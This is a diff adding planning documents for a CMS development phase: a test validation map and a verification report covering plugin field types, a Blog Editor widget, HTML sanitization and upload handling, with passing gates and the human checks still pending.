+| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-11 | T-16.2 boot | Alias pattern, core and cross-plugin clash (both IDs named), element prefix and reserved tag, missing Decode, missing AdminFS, asset path and extension fail boot | unit | `go test -count=1 -run '^TestFieldTypeRegistry$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.1 | — | Option key pattern, field-key clash and repeats fail boot; an undeclared fields.yaml key fails naming field and key | unit | `go test -count=1 -run '^TestFieldTypeOptions$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 | — | General keys accepted, core type keys refused, option values of every YAML kind decoded, CheckOptions error surfaced; CompileForm core-only; settings and relation forms refuse plugin types | unit | `go test -count=1 -run '^TestFieldTypeCompile$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.2 / D-10 | XSS | FormFieldError on the default or a non-default locale → 422 on the field, no write, no notices; other errors and a non-string translatable value → opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeDecode$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-10 | — | Notices → meta.notices with field and locale, localized through phrasebook (Count plural, Params), ≤ 10 per field and locale, ≤ 500 runes; no notices key when none | unit | `go test -count=1 -run '^TestFieldTypeNotices$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-10 / D-02 | XSS | Journal Decode strips per locale and reports; clean HTML byte-identical with no notice; report empty exactly when nothing changed; notices only when stripped | unit | `go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode\|TestBlogEditorNotices\|TestSanitizeHTMLReport)$' ./classes/` | ✅ | ✅ green |
+| 16.2-03-T3, 16.2-06-T2 | 03, 06 | 2, 4 | D-05 | XSS | Editor corpus passes SanitizeHTML byte for byte; the four editor rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframe stripped) | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestEditorOutputPassesPolicy$' ./classes/` | ✅ | ✅ green |
+| 16.2-01-T4, 16.2-06-T3 | 01, 06 | 1, 4 | D-10 | XSS | Save notices render as literal text under the field (aria-describedby) and in the toast; stored value reloaded into the element | vitest | `npm --prefix admin test -- tests/form/FormField.test.ts tests/form/formState.test.ts tests/form/PluginField.test.ts` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-06-T1 | 01, 06 | 1, 4 | D-03 | — | Untouched value writes and reports nothing; one changed locale writes only that locale; canonical JSON comparison; create never skips | unit | `go test -count=1 -run '^TestFieldTypeUntouched$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.3 | — | Load per locale; nil Load keeps the stored value; Load errors (FormFieldError included) are opaque 500 | unit | `go test -count=1 -run '^TestFieldTypeLoad$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12.4 | — | List column uses ListValue with the request ctx; nil ListValue keeps the raw value | unit | `go test -count=1 -run '^TestFieldTypeListValue$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-14 | — | FieldWritesFromContext copies; false outside a save; Before and After hooks of create and update see the same writes | unit | `go test -count=1 -run '^TestFieldTypeWrites$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-06-T2 | 01, 06 | 1, 4 | D-13 | — | GET /field-types sorted, versioned asset URLs under the admin prefix, [] lists, 401 without a backend session | unit | `go test -count=1 -run '^TestFieldTypesRoute$' ./modules/cabana` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-01-T4 | 01 | 1 | D-13 / D-15 | — | Schema/OpenAPI/TS in sync; admin dist current | unit + script | `bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-01-T4, 16.2-06-T1, 16.2-06-T3 | 01, 06 | 1, 4 | D-13 / D-03 | — | PluginField binds value, takes summer-change, never re-sets an echoed value; fieldTypes loads each script once, global styles stay on, nothing rejects; registry renders PluginField / MLPluginField | vitest | `npm --prefix admin test -- tests/form/PluginField.test.ts tests/app/fieldTypes.test.ts tests/form/registry.test.ts tests/list/ListView.test.ts` | ✅ | ✅ green |
+| 16.2-01-T3, 16.2-03-T2, 16.2-06-T2 | 01, 03, 06 | 1, 2, 4 | D-18 | upload | Upload 201, 403, 401, 404 (core field, no Upload, unknown field, context refusal, unknown controller), 413, 422 (FormFieldError, missing/misnamed/extra part, not multipart), opaque 500; Journal sniffing refuses disguised files and svg; safe names; StoreMedia never overwrites | unit | `go test -count=1 -run '^TestFieldUpload$' ./modules/cabana && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorUpload\|TestStoreMedia)$' ./classes/` | ✅ | ✅ green |
+| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | D-07 | — | HTML served verbatim (leading white space, comment); markdown served as content_html, empty falls back to FormatHTML; nil and empty pointers give "" | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' ./classes/` | ✅ | ✅ green |
+| 16.2-03-T1, 16.2-06-T2 | 03, 06 | 2, 4 | D-02 / D-14 | — | Posts hooks: default write copied to content_html, non-default writes through the TranslationWriter, nothing for untouched content or without a writer | unit | `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` | ✅ | ✅ green |
+| 16.2-02-T2, 16.2-02-T3, 16.2-06-T1, 16.2-06-T3 | 02, 06 | 1, 4 | D-03 / D-04 | XSS | Element returns an untouched value byte for byte through Source, tabs, preview and reattach; raw HTML cards are escaped text; every raw tag rule; figures; links limited to http, https, mailto, relative; block reuse after edit, deletion and insertion | vitest | `npm --prefix ../sm-journal-plugin test` | ✅ | ✅ green |
+| 16.2-02-T3 | 02 | 1 | D-05 | — | Committed editor corpus equals the editor's current output | vitest | `npm --prefix ../sm-journal-plugin test -- tests/blogeditor/corpus.test.ts` | ✅ | ✅ green |
+| 16.2-03-T1, 16.2-06-T1 | 03, 06 | 2, 4 | todo resave / D-03 | — | Untouched GET-then-PUT of an HTML and a markdown post byte-identical with no notices and no translated content added; a clean edited save stores equal content and content_html per locale | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminResaveKeepsHTML .` | ✅ | ⚠️ Docker host (manual) |
+| 16.2-03-T1 | 03 | 2 | D-10 / D-02 | XSS | Admin post save strips unsafe markup in both columns per locale and reports it (no 422) | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run TestPostsAdminSaveSanitizesHTML .` | ✅ | ⚠️ Docker host (manual) |
+| 16.2-03-T2, 16.2-06-T2 | 03, 06 | 2, 4 | D-19 / D-10 | XSS | Category content: untouched saves keep imported markup and NULL, clean edit as sent, unsafe edit stripped with notices (no 422), blank to NULL, editor upload under journal/categories | integration (Postgres) | `go -C ../sm-journal-plugin test -count=1 -run '^(TestCategoriesAdminContent\|TestCategoriesAdminBlogEditor)$' .` | ✅ | ⚠️ Docker host (manual) |
+| 16.2-01-T3, 16.2-06-T2 | 01, 06 | 1, 4 | D-12 / D-18 | upload | Real-database create, show, untouched and changed update, refused update rolls back, upload in and out of the FormExtendQuery scope | integration (Postgres) | `go test -count=1 -run '^TestFieldTypeSavePostgres$' ./modules/cabana` | ✅ | ⚠️ Docker host (manual) |
+| 16.2-04-T1, 16.2-06-T3 | 04, 06 | 2, 4 | D-17 / D-05 | iframe | Embed allowlist and id regex; sanitize first, expand last at each sink, never in payload transforms; stored iframe stripped; corpus safe under the mirror; Go negatives stripped the same way; corpus copies identical | node:test + cmp | `npm --prefix ../vue-journal-layer test && cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | ✅ | ✅ green |
+| 16.2-01-T2, 16.2-06-T3 | 01, 06 | 1, 4 | docs | — | README/docs identifiers exist; plugin dist current | unit + script | `go test -count=1 ./cmd/summer -run TestDocsTree && bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ | ✅ green |
+| 16.2-06-T3 | 06 | 4 | all | T-16.2-29 | Phase gate: every runnable stage fail-closed, detectors self-tested | script | `bash scripts/check-phase16.2.sh --self-test && bash scripts/check-phase16.2.sh --all` | ✅ | ✅ green |
+
+*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky or manual (Docker host)*
+
+---
+
+## Wave 0 Requirements
+
+- [x] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, vitest + happy-dom setup, `scripts/check-dist.sh` (plan 02)
+- [x] `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` (plan 02) and its layer copy `../vue-journal-layer/tests/fixtures/editor-corpus.json` (plan 04)
+- [x] `../sm-journal-plugin/classes/editor_policy_test.go` (plan 03, extended in plan 06)
+- [x] `modules/cabana/field_type_test.go` — registry, options, compile, decode, notices, skip, load, list, writes, routes, upload (plan 06)
+- [x] `admin/tests/form/PluginField.test.ts` — stub custom element (plan 01, extended in plan 06)
+- [x] `../vue-journal-layer/tests/embeds.test.ts` (plan 04, extended in plan 06)
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Testcontainers Postgres suites | todo resave, D-03, D-10, D-12, D-18, D-19 | No Docker on the dev machine | On a Docker host: `bash scripts/check-phase16.2.sh postgres` (cabana `./modules/cabana` incl. TestFieldTypeSavePostgres and TestListRelationSearchPostgres; sm-journal-plugin `./...` incl. TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor, TestJournalSVGEmbed) |
+| Editing imported posts on UAT | Phase goal | Real browser editing of live posts | Open an imported post, save untouched (no notice, md5 unchanged), then edit and save; compare columns |
+| Strip and report on UAT | D-10 (amended) | Needs the admin session and a real save | Add a harmless style block and onclick in the source tab of an unpublished test post, save: it succeeds, the notice names both, the stored columns are equal and contain neither (plan 05 Task 3) |
+
+---
+
+## Validation Sign-Off
+
+- [x] All tasks have `<automated>` verify or Wave 0 dependencies
+- [x] Sampling continuity: no 3 consecutive tasks without automated verify
+- [x] Wave 0 covers all MISSING references
+- [x] No watch-mode flags
+- [x] Feedback latency < 120s (the gate's runnable stages; the Docker suites are the manual row)
+- [x] nyquist_compliant set to true in the frontmatter
+
+**Approval:** automated map complete (plan 06, 2026-10-10); the Docker-host suites and the UAT rows above stay manual

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VERIFICATION.md

@@ -0,0 +1,248 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+verified: 2026-10-10T17:05:00Z
+status: human_needed
+score: 13/14 must-haves verified
+covered_files:
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md
+  - admin/src/app/fieldTypes.ts
+  - admin/src/components/form/fields/MLPluginField.vue
+  - admin/src/components/form/fields/PluginField.vue
+  - admin/src/components/form/registry.ts
+  - admin/src/views/FormView.vue
+  - docs/backend/field-types.md
+  - modules/cabana/crud.go
+  - modules/cabana/field_type.go
+  - modules/cabana/field_type_upload.go
+  - modules/cabana/http.go
+  - modules/cabana/relation_field.go
+  - modules/cabana/tx_context.go
+  - modules/pact/capabilities.go
+  - scripts/check-phase16.2.sh
+covered_digest: "v2:sha256:9eb467f60a452579c8faedf8900a27909d5234623d4f6760fef9f5691bbf6d75"
+behavior_unverified: 1
+overrides_applied: 0
+behavior_unverified_items:
+  - truth: "D-19 (amended): Journal category content uses blogeditor and is stripped and reported like post content; the 422 CheckHTML gate is retired"
+    test: "On a Docker host run `bash scripts/check-phase16.2.sh postgres` (TestCategoriesAdminContent, TestCategoriesAdminBlogEditor); on UAT change one word of a category's content in the Blog Editor and save"
+    expected: "Both Postgres tests pass; on UAT the save succeeds with no removal notice and the category page on the site shows the change"
+    why_human: "The code is present and wired (fields.yaml type blogeditor, prepareCategoryWrite no longer refuses, the shared Decode is unit-tested), but the end-to-end category save only runs in the Docker-only harness and the UAT category step was never performed (WINDOWS entry 18)"
+human_verification:
+  - test: "On a host with Docker, run `bash scripts/check-phase16.2.sh postgres` from summercms.go"
+    expected: "TestFieldTypeSavePostgres, TestListRelationSearchPostgres, TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor and TestJournalSVGEmbed all pass (closes WINDOWS 11, 12, 14, 15, 16, 20, 21)"
+    why_human: "No Docker daemon on this host; the suites compile under go vet but have never run. They are the only end-to-end proof of the CR-01 and WR-04 Load changes, which landed after the UAT acceptance"
+  - test: "D-19 on UAT: change one word of a category's content in the Blog Editor and save"
+    expected: "The save succeeds with no removal notice; the category page shows the change"
+    why_human: "WINDOWS entry 18; not among the four UAT steps the human ran"
+  - test: "After the next deploy (v0.1.19 with the review fixes), save post 1 and post 64 untouched again and re-run the read-only md5 SELECT"
+    expected: "md5(content), md5(content_html) and the post 64 en translation md5 equal the 16.2-05 snapshot; updated_at moved"
+    why_human: "The UAT D-03 evidence was taken on the v0.1.18 binary. The review fixes changed Load (CR-01: blank content served as content_html; WR-04: '<'-prefixed values compared with content_html). By reading the code the served value for posts 1 and 64 is unchanged, but the deployed proof predates the change"
+  - test: "Blog Editor preview pane in a real browser (quick 261010-iwu): toggle Preview in light and dark mode, narrow the window, put a <script> in a raw HTML block, add a YouTube embed and a relative /storage image"
+    expected: "50/50 split that wraps below about 720px; the script does nothing in the pane; the embed shows a thumbnail card; the relative image resolves"
+    why_human: "happy-dom cannot enforce iframe sandboxing, CSP or layout"
+  - test: "Judgment-tier prohibition (plan 02): 'The element renders no iframe and no live raw HTML in the admin'. Confirm the preview pane folded in from quick 261010-iwu is an accepted exception"
+    expected: "Human accepts that the sandboxed srcdoc iframe (empty sandbox, CSP meta, active content dropped, no src) does not violate the intent, or asks for a change"
+    why_human: "The preview pane renders the post HTML inside an iframe in the admin, which reads against the literal prohibition text; the LLM judgment is that its intent (no YouTube iframe, no script-capable raw HTML in the admin DOM) still holds"
+---
+
+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget Verification Report
+
+**Phase Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content (beyond the current markdown field or a plain rich editor) that edits imported HTML posts losslessly.
+**Verified:** 2026-10-10T17:05:00Z
+**Status:** human_needed
+**Re-verification:** No, initial verification
+
+ROADMAP lists no success criteria and REQUIREMENTS.md has none for this phase, so the must-haves are the six plans' frontmatter truths, keyed to CONTEXT decisions D-01 to D-19. They are merged into 14 truths below.
+
+## Goal Achievement
+
+### Observable Truths
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 1 | D-11: a plugin registers a value-bearing field type under a short alias; duplicate aliases across plugins and clashes with core types fail boot | ✓ VERIFIED | `pact.HasFormFieldTypes` (capabilities.go:491). `compileFieldTypes` (field_type.go:151) checks the alias pattern and core-type clash, and names both owners on a cross-plugin clash. It is called from `Activate` (http.go:99) and passed to `compileRegistryWithTypes`. `TestFieldTypeRegistry` and `TestFieldTypeCompile` pass in the gate |
+| 2 | D-12.1: plugin fields accept the general keys plus the type's Options; other keys and CheckOptions errors fail boot | ✓ VERIFIED | `pluginFieldKeys` and `fieldKeyAllowed`, plus `compilePluginField` running CheckOptions. `TestFieldTypeOptions` passes |
+| 3 | D-12.2 and D-10 (framework): Decode runs inside the save transaction per locale; FormFieldError becomes 422 with no write; other errors become an opaque 500; notices become meta.notices only when present | ✓ VERIFIED | crud.go:609-636: lift, then loadRecord, then `decodePluginFields`, then Fill, all inside `s.transaction`. crud.go:733 calls `localizeNotices`, and `RecordMeta.Notices` is `json:"notices,omitempty"`. WR-06 adds a 422 for a non-string translatable value. `TestFieldTypeDecode` and `TestFieldTypeNotices` pass |
+| 4 | D-12.3 and D-12.4: Show and the save response serve plugin fields through Load (per locale); list columns use ListValue | ✓ VERIFIED | `hydratePluginFields` is called in Show (crud.go:447) and in save (crud.go:728). `projectRowCtx` calls `ListValue` (http.go:1114). `TestFieldTypeLoad` and `TestFieldTypeListValue` pass |
+| 5 | D-03 (server half): on update, a value equal to the served value is neither decoded nor written | ✓ VERIFIED | `decodeOne` compares with `servedFieldValue` (Load over the loaded record) through `sameJSON` and skips. An untouched default-locale value is deleted from Projected. The behavioural test `TestFieldTypeUntouched` passes |
+| 6 | D-14 and D-06: translatable plugin types use cabana's ML lift, translation writer and hydrate; Form hooks read writes through `FieldWritesFromContext` | ✓ VERIFIED | Translations are decoded in place on the `mlValue` items that `applyMLTranslations` writes. `withFieldWrites` (crud.go:636) feeds `FieldWritesFromContext`. `TestFieldTypeWrites` passes |
+| 7 | D-13 and D-15: the SPA loads field-type assets globally after login; PluginField/MLPluginField bind `value` and `summer-change`; the schema carries plugin fields generically; OpenAPI, TS types, dist and docs are regenerated | ✓ VERIFIED | `loadFieldTypes` is called in main.ts:26 and LoginView.vue:33. `registry.ts` routes any field with `element` to PluginField or MLPluginField. PluginField only re-sets `value` when it differs (echo guard). admin.json and schema.d.ts carry `element`, `translatable` and `typeOptions`. Gate docs stage: check-admin-openapi, check-admin-dist and TestDocsTree pass. Vitest 1218/1218 |
+| 8 | D-18: cabana-owned upload route (guard, X-Requested-With, permissions, declared op, record scope, body cap) answers 201 {data:{url}}; Journal Upload accepts only sniffed jpg/jpeg/png/gif/webp up to 10240 KiB | ✓ VERIFIED | Route at http.go:360, wrapped in `requireAjax`. `fieldUpload` calls `protect` and `operationDeclared` (WR-01), reads the whole body before Upload (WR-02) and scopes the record through `loadRecord`. Journal `uploadBlogImage` sniffs the bytes. `StoreMedia` enforces the extension allowlist, so a PNG named `.svg` is refused there, and caps the size. `TestFieldUpload`, `TestBlogEditorUpload` and `TestStoreMedia` pass. UAT edit-ok shows an image under journal/posts |
+| 9 | D-01, D-04, D-16: Blog Editor is a TipTap WYSIWYG custom element `golem15-journal-blogeditor` with a source tab, a toolbar (headings, marks, lists, links, blockquote, tables, images, embeds, raw HTML), unknown blocks shown as raw cards, and a committed and embedded bundle with a dist drift gate | ✓ VERIFIED | assets/src/blogeditor/*.ts and toolbar.ts provide H2-H4, bold, italic, lists, link, blockquote, table ops, image, embed and rawHtml. extensions.ts lists the raw block tags (footer, section, aside, details…). admin.go:22 embeds the dist. `check-dist.sh` (diff -r) passes in the gate. Editor vitest 232/232 |
+| 10 | D-03 (editor and Journal halves) and todo journal-imported-html-admin-resave: an untouched value round-trips byte-identically; Load serves HTML content verbatim and markdown as content_html; an untouched save leaves content and content_html byte-identical | ✓ VERIFIED | The element's `value` getter returns the stored string in clean mode and uses `serializeDocument` (top-level block reuse) only after an edit. It never calls `getHTML`. `loadBlogHTML` implements D-07 plus the CR-01 and WR-04 refinements. element.test.ts, `TestBlogEditorLoad` and `TestFieldTypeUntouched` pass. UAT: post 1 (HTML) and post 64 (markdown) kept the same md5 after untouched saves, and updated_at moved (16.2-05 SUMMARY, follow-up section). The Postgres `TestPostsAdminResaveKeepsHTML` did not run (human item 1) |
+| 11 | D-02, D-07, D-08, D-09: post content is `mlblogeditor` (excerpt unchanged); an admin save stores the same sanitized HTML in content and content_html per locale without goldmark; the public write API keeps markdown and FormatHTML | ✓ VERIFIED | models/post/fields.yaml: `type: mlblogeditor`, `htmlColumn: content_html`. `preparePostWrite` copies the default-locale write into `ContentHTML`. `writeContentHTMLTranslations` writes non-default locales through `WriteTranslated`. The only remaining FormatHTML callers are the API helpers, the import console and Load's markdown fallback. No migration or column was added. `TestPostsEditorHooks` passes. UAT edit-ok: content = content_html |
+| 12 | D-10 (amended) and D-05: Decode stores `SanitizeHTMLReport` output and reports removals as notices, never refusing on markup; the policy gains exactly four editor-output rules; every corpus entry passes byte for byte | ✓ VERIFIED | `decodeBlogHTML` and `removalNotices` are in blog_editor.go. Commit 2384a61 adds only `figure data-embed ^youtube$`, `figure data-id ^[A-Za-z0-9_-]{11}$`, `img alt` and `ol start ^[0-9]+$`. `TestEditorOutputPassesPolicy`, `TestSanitizeHTMLReport`, `TestBlogEditorDecode` and `TestBlogEditorNotices` pass. On UAT a style element and an onclick attribute were stripped and the notice was confirmed by the human |
+| 13 | D-17 and D-05 (layer): `expandEmbeds(sanitizeJournalHtml(html))` at the PostBody and CategoryHeader sinks, with payload transforms only sanitizing; htmlGate mirrors the four rules; corpus copies identical; v0.2.0 tagged and pinned | ✓ VERIFIED | PostBody.vue:13 and CategoryHeader.vue:11 expand last. postView.ts and CategoryPage.vue only sanitize. `expandEmbeds` builds the iframe only from an allowlisted provider, a validated id and a fixed host. `cmp` of the two corpus files is identical. Tag v0.2.0 exists on origin (759e684). The app's package.json pins `#v0.2.0`. Layer 144/144. UAT site-ok found 1 youtube-nocookie iframe |
+| 14 | D-19 (amended): category content uses blogeditor and is stripped and reported; the 422 CheckHTML gate is retired | ⚠️ PRESENT_BEHAVIOR_UNVERIFIED | models/category/fields.yaml has `type: blogeditor`. `prepareCategoryWrite` only nulls blank content, and no CheckHTML caller remains. The end-to-end category save is covered only by the Docker-only `TestCategoriesAdminContent` and `TestCategoriesAdminBlogEditor` (not run), and the UAT category step was never done |
+
+**Score:** 13/14 truths verified (1 present, behavior-unverified)
+
+Release truths from plan 05 are verified separately. Tag v0.1.18 is an annotated tag object 04dc5bd on origin, pointing at commit f1d8a75. The UAT binary sha256 matched the local build, and the on-server smoke passed on 98 URLs. These rest on SUMMARY records; the tag is confirmed directly with `git ls-remote`.
+
+### Required Artifacts
+
+| Artifact | Expected | Status | Details |
+|----------|----------|--------|---------|
+| `modules/pact/capabilities.go` | FormFieldType family and HasFormFieldTypes | ✓ VERIFIED | All types are present, with Decode, Load, ListValue, Upload and CheckOptions |
+| `modules/cabana/field_type.go` | registry, compile and the decode/skip/load/list runner | ✓ VERIFIED | 877 lines, substantive, wired from http.go and crud.go |
+| `modules/cabana/field_type_upload.go` | upload route | ✓ VERIFIED | Mounted at http.go:360 |
+| `modules/cabana/tx_context.go` | FieldWritesFromContext | ✓ VERIFIED | Consumed by Journal posts.go |
+| `modules/cabana/relation_field.go` | `notices,omitempty` | ✓ VERIFIED | relation_field.go:99 |
+| `admin/src/components/form/fields/PluginField.vue` | element host | ✓ VERIFIED | Handles summer-change and summer-upload; passes no token or function to the element |
+| `admin/src/app/fieldTypes.ts` | global loader | ✓ VERIFIED | Wired in main.ts and LoginView.vue |
+| `docs/backend/field-types.md` | guide | ✓ VERIFIED | Names HasFormFieldTypes; no consuming application is named |
+| `../sm-journal-plugin/classes/blog_editor.go` | BlogEditorTypes | ✓ VERIFIED | Registered through field_types.go |
+| `../sm-journal-plugin/classes/format_html.go` | SanitizeHTMLReport and the four rules | ✓ VERIFIED | |
+| `../sm-journal-plugin/classes/media_store.go` | StoreMedia | ✓ VERIFIED | Shared with controllers/api/media.go:39 |
+| `../sm-journal-plugin/assets/dist/blogeditor.js` | committed bundle | ✓ VERIFIED | Embedded at admin.go:22; check-dist passes |
+| `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | corpus | ✓ VERIFIED | Byte-identical to the layer copy |
+| `../vue-journal-layer/app/utils/embeds.ts` | expandEmbeds | ✓ VERIFIED | |
+| `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` | `#v0.2.0` pin | ✓ VERIFIED | |
+| `modules/cabana/field_type_postgres_test.go` | Postgres test | ✓ EXISTS (not run) | Compiles under go vet; needs Docker |
+| `scripts/check-phase16.2.sh` | phase gate | ✓ VERIFIED | Re-run in this verification, exit 0 |
+
+### Key Link Verification
+
+| From | To | Via | Status |
+|------|----|-----|--------|
+| http.go Activate | compileRegistryWithTypes | `compileFieldTypes(plugins)` passed as a parameter | ✓ WIRED |
+| crud.go save | Decode and Load | `decodePluginFields` between loadRecord and Fill, in the transaction | ✓ WIRED |
+| crud.go save | meta.notices | `localizeNotices` after commit | ✓ WIRED |
+| FormView.vue save | FormField notices and toast | `noticeLines(result.data.meta.notices)` | ✓ WIRED |
+| main.ts / LoginView.vue | GET /field-types | `loadFieldTypes` | ✓ WIRED |
+| PluginField.vue | upload route | `summer-upload` handled by `api.POST` | ✓ WIRED |
+| blog_editor.go decodeBlogHTML | SanitizeHTMLReport | direct call | ✓ WIRED |
+| posts.go preparePostWrite | FieldWritesFromContext | default-locale write sets ContentHTML | ✓ WIRED |
+| posts.go FormAfterUpdate | TranslationWriter.WriteTranslated | content_html per written locale | ✓ WIRED |
+| api/media.go UploadMedia | StoreMedia | media.go:39 | ✓ WIRED |
+| PostBody.vue / CategoryHeader.vue | expandEmbeds | `expandEmbeds(sanitizeJournalHtml(...))` | ✓ WIRED |
+| admin.go adminFS | assets/dist/blogeditor.js | `//go:embed` | ✓ WIRED |
+
+### Data-Flow Trace (Level 4)
+
+| Artifact | Data | Source | Real data | Status |
+|----------|------|--------|-----------|--------|
+| PluginField element `value` | form value | Show response from `hydratePluginFields`, which runs Load over the record loaded in the transaction | yes | ✓ FLOWING |
+| content_html (admin path) | sanitized HTML | Decode output, then FieldWrite, then the hooks | yes (UAT edit-ok shows content = content_html) | ✓ FLOWING |
+| Site post body | content_html | Journal API, then postView sanitize, then the PostBody sink expandEmbeds | yes (UAT site-ok found the iframe) | ✓ FLOWING |
+
+### Behavioral Spot-Checks
+
+| Behavior | Command | Result | Status |
+|----------|---------|--------|--------|
+| Full phase gate | `bash scripts/check-phase16.2.sh --all` (TMPDIR in the scratchpad) | self-test, go (19 framework + 29 Journal tests), admin 1218, editor 232, layer 144 plus corpus cmp, and docs all PASS; postgres NOT RUN; "Phase 16.2 gate passed", exit 0 | ✓ PASS |
+| go vet | `go vet ./...` in summercms.go and sm-journal-plugin | clean | ✓ PASS |
+| Release tag on origin | `git ls-remote --tags origin v0.1.18` | 04dc5bd, which points at f1d8a75 | ✓ PASS |
+| Layer tag on origin | `git ls-remote --tags origin` (vue-journal-layer) | v0.2.0, which points at 759e684 | ✓ PASS |
+| Postgres suites | `check-phase16.2.sh postgres` | no Docker daemon | ? SKIP (human item 1) |
+
+### Probe Execution
+
+Step 7c: no `scripts/*/tests/probe-*.sh` is declared or present for this phase. The phase gate above serves as the runnable check.
+
+### Requirements Coverage
+
+REQUIREMENTS.md lists no IDs for this phase. The CONTEXT decisions the plans cite:
+
+| Decision | Status | Evidence |
+|----------|--------|----------|
+| D-01, D-04, D-16 | ✓ SATISFIED | Truth 9 |
+| D-02, D-07, D-08, D-09 | ✓ SATISFIED | Truth 11 |
+| D-03 | ✓ SATISFIED | Truths 5 and 10 (unit tests plus UAT; Postgres run pending) |
+| D-05, D-10 | ✓ SATISFIED | Truths 3, 12 and 13 |
+| D-06, D-14 | ✓ SATISFIED | Truth 6 |
+| D-11, D-12, D-13, D-15 | ✓ SATISFIED | Truths 1 to 4 and 7 |
+| D-17 | ✓ SATISFIED | Truth 13 |
+| D-18 | ✓ SATISFIED | Truth 8 |
+| D-19 | ? NEEDS HUMAN | Truth 14 |
+
+### Prohibitions (judgment tier, non-authoritative LLM verdicts)
+
+| Prohibition | Verdict |
+|-------------|---------|
+| No package-level mutable field type registry in cabana | Holds. The only package-level vars are regexes and a static key set. The registry is built per Activate |
+| The element never receives a token, cookie, function or Vue instance | Holds. PluginField sets only `value` and string attributes; uploads go through `api.POST` |
+| Core field types, the `type: widget` contract and CompileForm unchanged | Holds as far as the gate shows. TestPhase10CSRF, TestPhase09ContractInventory and ExampleCompileFormWithTypes pass, and settings and relation forms use a refusing registry |
+| Framework docs name no consuming application | Holds. grep for journal, grzyb, fonoteka and blogeditor in field-types.md, forms.md and the two READMEs finds nothing |
+| The editor never re-serializes an untouched document or uses getHTML() | Holds. The clean-mode getter returns the stored string |
+| No eval, no `new Function`, no style injection | Holds. `injectCSS: false`, and no eval in the sources |
+| The element renders no iframe and no live raw HTML in the admin | **Flagged for human review.** The preview pane folded in from quick 261010-iwu adds a lazily created iframe with an empty `sandbox`, `srcdoc` only and a CSP meta. Raw blocks in the editor itself still render as escaped text |
